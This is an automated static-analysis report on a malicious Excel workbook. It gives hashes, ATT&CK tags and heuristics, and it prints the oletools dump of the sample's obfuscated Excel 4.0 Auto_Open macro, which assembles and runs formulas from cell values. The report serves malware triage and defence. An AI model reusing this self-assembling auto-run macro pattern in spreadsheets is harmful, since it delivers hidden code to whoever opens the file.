Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7e8f43632231d164…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:45:04 Authoring application: Microsoft Excel First seen: 2021-08-20
MD5: c5f983ba1e91736cefc0a959ad598cc3 SHA-1: d3ae02fc330a5960c253cf194258b40974f59234 SHA-256: 7e8f43632231d164ffa23295baa2b744bc207aa024d581893c4319231d719a3e
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is an Excel file containing Excel 4.0 (XLM) macros, specifically an Auto_Open defined name. This indicates the document is designed to automatically execute code upon opening. The presence of dangerous formula APIs like RUN suggests the macro is intended to download and execute a secondary payload, a common technique for malware delivery.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6463 bytes
SHA-256: c0f8ebd31520474f667acb00d27edd30f6de465fd048f6b52a3c81631c336a51
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  MagDp
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H145 
' 0018     20 LABEL : Cell Value, String Constant - cEIrM len=0 
' 0018     27 LABEL : Cell Value, String Constant - GgrphdTGnrNo len=0 
' 0018     24 LABEL : Cell Value, String Constant - KwMVOwRZW len=0 
' 0018     27 LABEL : Cell Value, String Constant - loRKCwQLRZqF len=0 
' 0018     23 LABEL : Cell Value, String Constant - MAjJDROF len=0 
' 0018     24 LABEL : Cell Value, String Constant - NFvSjXnhp len=0 
' 0018     24 LABEL : Cell Value, String Constant - ntGPryykJ len=0 
' 0018     27 LABEL : Cell Value, String Constant - NvinSkLrWSaM len=0 
' 0018     26 LABEL : Cell Value, String Constant - obLNbTebhmv len=0 
' 0018     23 LABEL : Cell Value, String Constant - OGYsZTPg len=0 
' 0018     26 LABEL : Cell Value, String Constant - pcuLBNHKqti len=0 
' 0018     27 LABEL : Cell Value, String Constant - pKNjDyOGqmGi len=0 
' 0018     22 LABEL : Cell Value, String Constant - QKfnuzb len=0 
' 0018     22 LABEL : Cell Value, String Constant - QZTSmUr len=0 
' 0018     23 LABEL : Cell Value, String Constant - UTTHOqbP len=0 
' 0018     27 LABEL : Cell Value, String Constant - vKQjuvvUOkJb len=0 
' 0018     25 LABEL : Cell Value, String Constant - WPkSgPRVVG len=0 
' 0018     20 LABEL : Cell Value, String Constant - xQNld len=0 
' 0018     20 LABEL : Cell Value, String Constant - XZCsh len=0 
' 0018     21 LABEL : Cell Value, String Constant - ZvOzPa len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  MagDp,H47,"SET.NAME("KwMVOwRZW",VALUE("0"))",""
'  MagDp,H50,"SET.NAME("NFvSjXnhp",KwMVOwRZW)",""
'  MagDp,H54,"SET.NAME("pcuLBNHKqti",KwMVOwRZW)",""
'  MagDp,H59,"SET.NAME("QKfnuzb",COUNTA(GgrphdTGnrNo))",""
'  MagDp,H63,"SET.NAME("NvinSkLrWSaM",COUNTA(QZTSmUr))",""
'  MagDp,H68,[],""
'  MagDp,H71,"SET.NAME("OGYsZTPg","")",""
'  MagDp,H73,"NFvSjXnhp",""
'  MagDp,H78,"SET.NAME("ZvOzPa",HLOOKUP("*",GgrphdTGnrNo,NFvSjXnhp,FALSE))",""
'  MagDp,H81,"MAjJDROF",""
'  MagDp,H85,"SET.NAME("pKNjDyOGqmGi",KwMVOwRZW)",""
'  MagDp,H90,[],""
'  MagDp,H94,"pKNjDyOGqmGi",""
'  MagDp,H96,"WPkSgPRVVG",""
'  MagDp,H100,"cEIrM",""
'  MagDp,H103,"loRKCwQLRZqF",""
'  MagDp,H107,"SET.NAME("vKQjuvvUOkJb",VALUE(HLOOKUP("*",QZTSmUr,loRKCwQLRZqF,FALSE)))",""
'  MagDp,H112,"obLNbTebhmv",""
'  MagDp,H117,"OGYsZTPg",""
'  MagDp,H121,"pcuLBNHKqti",""
'  MagDp,H126,NEXT(),""
'  MagDp,H131,"UTTHOqbP",""
'  MagDp,H134,"SET.NAME("f",INT(T(FORMULA(T(OGYsZTPg)&"",""&T(UTTHOqbP)))))",""
'  MagDp,H136,"ntGPryykJ",""
'  MagDp,H140,NEXT(),""
'  MagDp,H143,RETURN(),""
'  MagDp,H166,"SET.NAME("XZCsh",H47)",""
'  MagDp,H168,"GgrphdTGnrNo",""
'  MagDp,H171,"SET.NAME("QZTSmUr",R92C12)",""
'  MagDp,H176,"SET.NAME("ntGPryykJ",182)",""
'  MagDp,H178,"SET.NAME("xQNld",8)",""
'  MagDp,H181,XZCsh(),""
'  MagDp,H182,HALT(),""